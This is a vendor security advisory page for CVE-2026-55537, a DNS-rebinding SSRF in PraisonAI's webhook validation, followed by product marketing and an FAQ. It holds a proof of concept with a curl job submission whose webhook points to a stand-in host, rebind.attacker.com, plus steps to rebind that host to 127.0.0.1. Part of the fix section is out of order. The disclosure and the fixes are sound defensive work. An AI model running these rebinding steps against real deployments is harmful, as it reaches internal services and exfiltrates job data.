CVE-2026-55537

CVE-2026-55537 is a high-severity server-side request forgery (SSRF) vulnerability in PraisonAI (pip), affecting versions < 4.6.58. It is fixed in 4.6.58.

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Summary

PraisonAI: Webhook SSRF via DNS fail-open in JobSubmitRequest.validatewebhookurl(), bypass of CVE-2026-40114

praisonai/jobs/models.py::JobSubmitRequest.validate_webhook_url() validates webhook
URLs by resolving the hostname and checking whether the IP is private. When DNS
resolution fails (socket.gaierror), the validator silently passes the URL via
except socket.gaierror: pass. Additionally, even when DNS succeeds at validation time,
the webhook is fired much later by JobExecutor._send_webhook(), which calls
httpx.AsyncClient().post(job.webhook_url), performing a fresh, independent DNS
lookup
at execution time. Together, these flaws create a TOCTOU SSRF window.

An attacker can:

  1. Submit a job with webhook_url pointing to a hostname that currently does not
    resolve (NXDOMAIN) → validation passes (gaierrorpass)
  2. Update DNS to point that hostname to 127.0.0.1 or another private IP
  3. When the job completes, _send_webhook() resolves the hostname fresh → POST sent
    to the internal IP

Details

Flaw 1, Fail-open on DNS error (jobs/models.py lines 58-66):

@field_validator("webhook_url")
@classmethod
def validate_webhook_url(cls, v):
    ...
    try:
        ip = socket.gethostbyname(hostname)
        ip_obj = ipaddress.ip_address(ip)
        if ip_obj.is_private or ip_obj.is_loopback or ip_obj.is_link_local:
            raise ValueError("Webhook URL resolves to private network address")
    except socket.gaierror:
        pass    # <-- FAIL-OPEN: DNS failure allows the URL without restriction
    return v

When socket.gethostbyname(hostname) raises socket.gaierror (NXDOMAIN, timeout,
network error during validation), execution flows to pass and the URL is accepted.

Flaw 2, Fresh DNS at execution time (jobs/executor.py lines 376-406):

async def _send_webhook(self, job: Job):
    async with httpx.AsyncClient(timeout=30.0) as client:
        response = await client.post(
            job.webhook_url,      # <-- fresh DNS resolution here, not cached from validation
            json=payload,
            ...
        )

httpx.AsyncClient creates a new connection per call. DNS is resolved at execution time,
completely independent of the validation-time resolution. The gap between submission
and execution can be minutes to hours (depending on job queue depth and timeout settings).

Combined TOCTOU window:

T=0   Attacker submits: webhook_url = "http://rebind.attacker.com/cb"
      Validation:  socket.gethostbyname("rebind.attacker.com") → gaierror (NXDOMAIN)
      Result:      except socket.gaierror: pass  → ACCEPTED

T=5   Attacker updates DNS: rebind.attacker.com A → 127.0.0.1 (TTL=60)

T=60  Job completes. _send_webhook() fires:
      httpx.post("http://rebind.attacker.com/cb")
      DNS: rebind.attacker.com → 127.0.0.1
      POST reaches 127.0.0.1 → SSRF

Relation to CVE-2026-40114 / GHSA-8frj-8q3m-xhgm: That CVE covered "no URL
validation at all" on the webhook_url parameter, patched in v4.5.126 by adding
validate_webhook_url() to jobs/models.py. This finding targets the validation code
itself
, the except socket.gaierror: pass fail-open introduced in that patch.
CVE-2026-40114: no validation. This bypass: validation present but fail-open on DNS error.

PoC

Requirements: A domain you control with configurable DNS TTL, access to the jobs API

Step 1, Confirm fail-open behaviour (local code verification):

from praisonai.jobs.models import JobSubmitRequest
from unittest.mock import patch
import socket

# Simulate: hostname temporarily does not resolve
with patch("socket.gethostbyname", side_effect=socket.gaierror("NXDOMAIN")):
    req = JobSubmitRequest(
        prompt="hello",
        webhook_url="http://rebind.attacker.com/callback"
    )
    # No exception raised, URL accepted despite NXDOMAIN
    print("Webhook accepted:", req.webhook_url)

Expected: Webhook accepted: http://rebind.attacker.com/callback

Step 2, Confirm fresh DNS at execution time:

# From jobs/executor.py _send_webhook():
# httpx.AsyncClient creates a new TCP connection (no DNS cache sharing with validator)
# Standard httpx behaviour: each .post() resolves DNS independently

import httpx, asyncio

async def demo():
    # httpx resolves DNS here, not using any cached result from validation
    async with httpx.AsyncClient() as client:
        # This call resolves "rebind.attacker.com" fresh at runtime
        # If DNS changed since validation, it hits the new IP
        try:
            r = await client.post("http://rebind.attacker.com/callback", json={})
        except Exception as e:
            print(f"Connection: {e}")

asyncio.run(demo())

Step 3, Full attack scenario:

# 1. Set up domain with short TTL, currently returning NXDOMAIN
#    rebind.attacker.com  →  (no record, TTL=60)

# 2. Submit job via API
curl -X POST http://praisonai-server:8000/jobs \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "prompt": "Calculate 2+2",
    "webhook_url": "http://rebind.attacker.com/callback"
  }'
# Response: {"job_id": "job_abc123", "status": "queued", ...}

# 3. After 5 seconds (before job finishes), add DNS record:
#    rebind.attacker.com  A  127.0.0.1  TTL=60

# 4. Wait for job to complete (seconds to minutes).
#    _send_webhook() fires and resolves rebind.attacker.com → 127.0.0.1
#    POST request hits 127.0.0.1 (internal service)

# If 127.0.0.1:80 is running a service, it receives:
# POST /callback HTTP/1.1
# Content-Type: application/json
# {"job_id": "job_abc123", "status": "succeeded", "result": "4", ...}

Immediate variant (no DNS timing required):

If DNS resolution fails transiently (rate limit, network blip, temporary outage)
during validation, the webhook is accepted unconditionally even for a URL that would
normally resolve to a private IP. No attacker control over DNS timing is required ,
the attacker simply retries submission during moments when their DNS server is unreachable
(e.g., their DNS server is down, causing gaierror).

VULNERABLE

except socket.gaierror:
pass

FIXED

except socket.gaierror:
raise ValueError(
"Webhook URL hostname could not be resolved. "
"Ensure the hostname is valid and publicly reachable."
)


**Fix 2, Re-validate at execution time (`jobs/executor.py` before `_send_webhook`):**

```python
async def _send_webhook(self, job: Job):
    if not job.webhook_url:
        return
    # Re-validate to prevent DNS rebinding
    try:
        from urllib.parse import urlparse
        import socket, ipaddress
        hostname = urlparse(job.webhook_url).hostname
        ip = socket.gethostbyname(hostname)
        if ipaddress.ip_address(ip).is_private:
            logger.warning(f"Webhook SSRF blocked at execution time: {job.webhook_url}")
            return
    except Exception as e:
        logger.warning(f"Webhook validation failed at execution: {e}")
        return
    # ... proceed with httpx.post

Impact

What kind of vulnerability: Server-Side Request Forgery via TOCTOU DNS rebinding
and validation fail-open.

Who is impacted: Any deployment exposing the PraisonAI Jobs API (POST /jobs) to
external or lower-trusted callers. This includes:

  • Multi-tenant deployments where workspace members submit jobs
  • API integrations (n8n, Zapier-style workflows) that provide webhook_url fields

Post-exploit capabilities:

  • HTTP POST to any internal service with JSON payload (job result data)
  • If an internal service interprets the POST body as commands (Jenkins webhook,
    Consul KV, etc.), this achieves code execution on internal infrastructure
  • Exfiltration of job results (which may include agent reasoning, data retrieved
    during the task, discovered credentials) to an attacker-controlled endpoint

---

## Remediation Suggestion (for maintainers)

**Fix 1, Change `gaierror` handler to fail-closed (`jobs/models.py` line 63):**

```python

Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside. Typical impact: access to internal metadata services, internal APIs, or cloud credentials.

CVE-2026-55537 has a CVSS score of 7.1 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (4.6.58); upgrading removes the vulnerable code path.

Affected versions

PraisonAI (< 4.6.58)

Security releases

PraisonAI → 4.6.58 (pip)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

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Remediation advice

Upgrade PraisonAI to 4.6.58 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-55537? CVE-2026-55537 is a high-severity server-side request forgery (SSRF) vulnerability in PraisonAI (pip), affecting versions < 4.6.58. It is fixed in 4.6.58. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.
  2. How severe is CVE-2026-55537? CVE-2026-55537 has a CVSS score of 7.1 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of PraisonAI are affected by CVE-2026-55537? PraisonAI (pip) versions < 4.6.58 is affected.
  4. Is there a fix for CVE-2026-55537? Yes. CVE-2026-55537 is fixed in 4.6.58. Upgrade to this version or later.
  5. Is CVE-2026-55537 exploitable, and should I be worried? Whether CVE-2026-55537 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-55537 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-55537? Upgrade PraisonAI to 4.6.58 or later.

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